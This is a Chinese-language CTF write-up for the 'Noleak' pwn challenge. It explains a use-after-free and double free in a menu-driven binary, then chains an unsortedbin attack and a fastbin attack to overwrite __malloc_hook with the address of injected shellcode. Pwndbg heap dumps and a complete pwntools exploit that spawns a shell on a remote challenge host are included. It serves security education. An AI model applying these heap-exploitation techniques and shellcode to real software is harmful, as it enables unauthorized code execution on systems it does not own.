CTF-PWN Noleak (unsortedbin attack+fastbin attack+malloc_hook)

漏洞简述

[*] '/home/supergate/Desktop/Pwn/timu'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

发现没有开启NX保护,因此大概能猜到需要我们写入shellcode并执行。

IDA打开后发现是一个典型的菜单类题目,漏洞也很简单:

  • Edit函数没有判断当前堆块有没有被free过,可造成UAF
  • Delete函数没有判断当前堆块有没有被free过,可造成double free

首先我们想到的是泄露libc地址,然后劫持free函数为system之后getshell,但是程序中并没有给出输出信息的功能,因此无法泄露地址信息。


前置知识

malloc_hook

这是C语言提供的一个用来包装malloc的,类似还有free_hook。
即,如果把malloc_hook改成func函数的地址,再执行malloc函数就会执行func函数。
这是本题的关键,可以允许我们在没有泄露地址的情况下,将我们输入的shellcode地址写入malloc_hook,然后执行malloc即可getshell。

unsortedbin attack

原理可参考ctf-all-in-one中的相关知识点,这里只给出如何应用。
首先创建chunk0(大小要保证free后能够放进unsorted bin),然后再创建chunk1。
free(chunk0)操作后,chunk0会被放入unsorted bin中。这个时候chunk0的fd,bk会指向unsorted bin。
如果存在一个漏洞(如堆溢出,UAF等),能够使得我们修改chunk0的bk,那么我们将bk修改为目标地址-2,也就是相当于在目标地址中有一个fake chunk。
然后再次创建一个和chunk0相同大小的chunk,这个时候查看内存,我们就可以发现目标地址已经存入了unsorted bin的地址,即达到了泄露libc地址的效果。在后续的操作中如果能够利用目标地址,也许就能够getshell。

fastbin attack

fastbin attack同样会使用到UAF,堆溢出等常见漏洞。
在创建一个chunk之后,将其free掉,如果这个chunk进入了fastbin并且能够修改这个chunk的fd指针的话,将fd指针修改为目标地址-2,然后再malloc两个和之前相同大小的chunk,那么这两个chunk中第一个和前面free掉的这个chunk在同一个位置,第二个chunk即在目标地址。然后我们就可以对该目标地址进行任意操作。
要注意的是fastbin malloc会检查对应地址的size域,所以需要构造一下目标地址-1(即目标地址这一个chunk的size域),才能达到正确的效果。


具体利用

构造unsortedbin attack,将libc的地址泄露出来:

pwndbg> heap
0x19d8000 PREV_INUSE {
  prev_size = 0, 
  size = 145, 
  fd = 0x7f4ba9885b78 <main_arena+88>, 
  bk = 0x7f4ba9885b78 <main_arena+88>, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x19d8090 {
  prev_size = 144, 
  size = 112, 
  fd = 0xa61, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x19d8100 FASTBIN {
  prev_size = 0, 
  size = 33, 
  fd = 0xa61, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x20ee1
}
0x19d8120 PREV_INUSE {
  prev_size = 0, 
  size = 134881, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

可知泄露的值为0x7f4ba9885b78
查看这个值的附近:

pwndbg> x/20xg 0x7f4ba9885b78
0x7f4ba9885b78 <main_arena+88>:	0x00000000019d8120	0x0000000000000000
0x7f4ba9885b88 <main_arena+104>:	0x00000000019d8000	0x00000000019d8000
0x7f4ba9885b98 <main_arena+120>:	0x00007f4ba9885b88	0x00007f4ba9885b88
0x7f4ba9885ba8 <main_arena+136>:	0x00007f4ba9885b98	0x00007f4ba9885b98
0x7f4ba9885bb8 <main_arena+152>:	0x00007f4ba9885ba8	0x00007f4ba9885ba8
0x7f4ba9885bc8 <main_arena+168>:	0x00007f4ba9885bb8	0x00007f4ba9885bb8
0x7f4ba9885bd8 <main_arena+184>:	0x00007f4ba9885bc8	0x00007f4ba9885bc8
0x7f4ba9885be8 <main_arena+200>:	0x00007f4ba9885bd8	0x00007f4ba9885bd8
0x7f4ba9885bf8 <main_arena+216>:	0x00007f4ba9885be8	0x00007f4ba9885be8
0x7f4ba9885c08 <main_arena+232>:	0x00007f4ba9885bf8	0x00007f4ba9885bf8
pwndbg> x/20xg 0x7f4ba9885b00
0x7f4ba9885b00 <__memalign_hook>:	0x00007f4ba9546e20	0x00007f4ba9546a00
0x7f4ba9885b10 <__malloc_hook>:	0x0000000000000000	0x0000000000000000
0x7f4ba9885b20 <main_arena>:	0x0000000100000000	0x0000000000000000
0x7f4ba9885b30 <main_arena+16>:	0x0000000000000000	0x0000000000000000
0x7f4ba9885b40 <main_arena+32>:	0x0000000000000000	0x0000000000000000
0x7f4ba9885b50 <main_arena+48>:	0x0000000000000000	0x0000000000000000
0x7f4ba9885b60 <main_arena+64>:	0x0000000000000000	0x0000000000000000
0x7f4ba9885b70 <main_arena+80>:	0x0000000000000000	0x00000000019d8120
0x7f4ba9885b80 <main_arena+96>:	0x0000000000000000	0x00000000019d8000
0x7f4ba9885b90 <main_arena+112>:	0x00000000019d8000	0x00007f4ba9885b88

发现malloc_hook在0x7f4ba9885b10地址处
所以我们只需将泄露的值低8位改为’\x00’即可。
因此我们需要一个指向.bss指针数组的地址,可以通过fastbin attack做到。
但是要注意的是,我们需要在这上面构造正确的size域,才能绕过fastbin malloc检测。而正好泄露的地址的最高8位0x7f能够符合条件,因此在前面我们应该预先malloc一个0x60的chunk。
有了这么一个地址之后,我们就可以在.bss段上的相应地方任意写了。
另外的一些更具体的实现参考exp


exp

from pwn import *
context.update(arch='amd64',log_level='debug')

#p=process("./timu")
p=remote('111.198.29.45',57065)

def Create(size, content):
    p.recvuntil("Your choice :")
    p.sendline("1")
    p.recvuntil("Size: ")
    p.sendline(str(size))
    p.recvuntil("Data: ")
    p.sendline(content)

def Delete(index):
    p.recvuntil("Your choice :")
    p.sendline("2")
    p.recvuntil("Index: ")
    p.sendline(str(index))

def Update(index,size,content):
    p.recvuntil("Your choice :")
    p.sendline("3")
    p.recvuntil("Index: ")
    p.sendline(str(index))
    p.recvuntil("Size: ")
    p.sendline(str(size))
    p.recvuntil("Data: ")
    p.sendline(content)

Create(0x80,"a")
Create(0x60,"a") #后面fastbin attack需要用到的0x60大小的chunk
Create(0x10,"a")
Delete(0)
Update(0,0x10,p64(0)+p64(0x601060)) #利用unsortedbin attack
Create(0x80,"a")

Delete(1)
Update(1,0x8,p64(0x60106d)) #这个位置的chunk可以使得size域为0x7f,从而绕过检测
Create(0x60,"a")
Create(0x60,'\x00'*3+p64(0x601070)+p64(0x601040))
#该chunk从0x60106d开始,能输入的数据地址为0x60107d
#因此先填充三个0道道0x601080,这样就可以从第8个chunk的指针地址开始操作
#其中0x601070就是第8个chunk的指针地址指向的内容,0x601040是我们要写入shellcode的地址,也是第9个chunk的指针地址指向的内容
Update(8,1,'\x10') #将低字节改为'\x00',得到malloc_hook地址
Update(6,8,p64(0x601040))#malloc_hook指向shellcode地址
Update(9,0x100,asm(shellcraft.amd64.sh()))#写入shellcode

p.recvuntil("Your choice :")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline("1")
p.interactive()

你可能感兴趣的:(CTF-PWN)